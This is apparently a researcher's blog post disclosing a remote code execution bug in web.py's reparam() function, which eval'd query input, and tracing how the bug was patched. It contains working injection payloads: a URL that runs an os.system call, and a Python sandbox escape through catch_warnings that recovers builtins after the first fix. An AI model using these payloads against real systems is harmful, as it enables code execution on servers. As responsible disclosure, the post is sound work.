Remote Code Execution in Web.py framework

Several months ago I happened to be looking at web.py‘s source code when I found an old-style (as in basic) remote code execution in the database module. Fortunately for most users of web.py, the database module is pretty simple and most installations leverage other external python modules for db operations instead. I meant to wait until it was fixed, and then I simply forgot to come back and add an entry about it. A first attempt at fixing the issue was done in April and the final patch was committed in May.

The issue

The db module tries to provide a way for developers to do “ruby style” variable interpolation in SQL queries, which is a cool feature but unfortunately too powerful in the way it was implemented. The vulnerable function is called “reparam” and it is called to do the interpolation we were talking about. Here’s its original code:

def reparam(string_, dictionary):
    """
    Takes a string and a dictionary and interpolates the string
    using values from the dictionary. Returns an `SQLQuery` for the result.

        >>> reparam("s = $s", dict(s=True))
        <sql: "s = 't'">
        >>> reparam("s IN $s", dict(s=[1, 2]))
        <sql: 's IN (1, 2)'>
    """
    dictionary = dictionary.copy() # eval mucks with it
    vals = []
    result = []
    for live, chunk in _interpolate(string_):
        if live:
            v = eval(chunk, dictionary)
            result.append(sqlquote(v))
        else:
            result.append(chunk)
    return SQLQuery.join(result, '')

The docstring is pretty self-explanatory, as it is the vulnerability. The entry points to reparam() are functions _where(), query(), and gen_clause(). Since there’s no control in any of these functions on what the user is sending as part of the query, remote code execution is possible with a call like the one below, in which the param after /q/ is part of the where clause of a simple query:
http://192.168.0.69:8080/q/1$__import__(‘os’).system(‘pwd’)

It’s also possible to test this directly in the interpreter, which is easier:


>>> import web
>>> web.reparam("$__import__('os').getcwd()", {})
<sql: "'/Users/adrian'">

A first attempt at fixing it

After I emailed the web.py developers describing the issue they committed a new version in a handful of days. I have to say that I received a reply to my email on the same day acknowledging the issue and thanking me for bringing it up; my deepest respect to web.py’s developers.

Their original approach was to remove python built-ins from eval(). This removes things link “__import__” from the scope of the function, which you’d need to call the ‘os’ module. It strips the scope to the bare bones, in theory limiting any attempt at running code. This is what happens when you try the above exploit in the new version:

>>> import web
>>> web.reparam("$__import__('os').getcwd()", {})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "web/db.py", line 305, in reparam
    v = eval(chunk, dictionary)
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

No surprises there. However, securing eval is not an easy task. In fact, I’m not completely sure whether it is possible to eval user input in a completely safe fashion. Even if you remove the whole builtins, due to python’s idiosyncrasy it is possible to get them back. Long time ago I read this really nice article that has been useful many times when dealing with python. Based on that, this is the POC I sent back:


>>> web.reparam("${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').getcwd())()}",{})
<sql: "'/Users/adrian/Desktop/webpy/webpy'">

And we’re back in business. Wait, ok, but what’s happening there? Well, it is simple. Essentially I’m using the subclasses of python’s “tuple” until I locate one called “catch_warnings”.


().__class__.__base__.__subclasses__() # takes tuple, goes to the parent class, and then traverses the subclasses

Why this one in particular? Just because it happens to have the original built-ins in scope, which we’ll then use to retrieve “__import__” and access the “os” module again. Nice, huh?

The final fix

In the end, web.py’s developers decided to implement a safer solution, albeit with limited functionality. If I remember correctly the old behaviour can still be enabled if desired, but the default should be the safest approach. This solution makes use of the AST module to create a custom parser and evaluator, calling safe_eval() instead of eval(). As far as I can tell, this solves the vulnerability.

To sum up, if you have an old version of web.py running and you’re using the built-in database module, you should be upgrading right now.

Take care.

Anuncios
Tagged with: , , , ,
Publicado en hacking, Programming, web hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: